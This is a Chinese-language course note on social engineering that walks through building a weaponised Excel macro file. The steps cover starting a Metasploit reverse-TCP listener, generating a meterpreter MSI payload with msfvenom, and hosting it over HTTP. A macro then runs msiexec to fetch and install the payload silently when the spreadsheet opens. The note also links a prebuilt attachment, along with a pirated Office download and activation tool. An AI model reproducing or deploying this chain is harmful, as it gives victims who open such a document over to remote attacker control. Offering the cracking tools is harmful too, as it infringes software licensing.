msi宏病毒，双击xlsm文件没有上线

课程：社会工程学

Excel无法在未启用宏的工作簿中保存以下功能
https://wiki.bafangwy.com/doc/541/

Office2013及破解工具下载
https://wiki.bafangwy.com/doc/285/

学员使用Office 2007也可以复现成功：
https://www.mashibing.com/question/detail/111014

# 文件制作流程
1、MSF监听端口
```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.142.132
set lport 4444
run
```

2、用MSF生成反弹链接的`msi文件`
里面填写反弹连接的目标IP端口，与上面监听的IP端口相对应
`msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.132 lport=4444 -f msi -o hack.msi`

3、把msi文件放在HTTP网站目录下（例如`192.168.142.66`），提供下载
例如：
python2
`python -m SimpleHTTPServer 8880`

python3
`python -m http.server 8880`

4、打开excel表格，插入如下内容，保存为`xlsm文件`
其中的http地址替换为上面提供下载的地址

```
=EXEC("msiexec /q /I http://192.168.142.66/hack.msi")
=HALT()
```

![](/media/202311/2023-11-22_135342_6892870.4697003879107968.png)

如果创建过程有问题，可以用这里面做好的xlsm文件，用Excel打开修改IP即可，函数在第94行
[【附件】excel.zip](/media/attachment/2024/11/excel.zip)

# 复现不成功的排查方法
1、只支持Microsoft Office，推荐使用Office 2013
WPS不行
```
https://webcdn.m.qq.com/spcmgr/download/SW_DVD5_Office_Professional_Plus_2013_64Bit_ChnSimp_MLF_X18-55285.zip
激活工具下载：
https://wwa.lanzouo.com/itUnaxea77g
```
2、在浏览器访问提供HTTP下载的宏文件，确定可以下载
比如输入：`http://192.168.142.66/hack.msi`

3、文件扩展名必须是`xlsm`

4、如果软件的宏默认已经禁用了，那么必须启用宏才能运行
比如：Microsoft Office Mondo 2016
![](/media/202311/2023-11-22_152010_9541070.18655204736202813.png)

![](/media/202311/2023-11-22_152051_0464440.44524576627035717.png)

关键词：
MSF、社工、办公软件、Auto_Open、EXEC、msiexec、HALT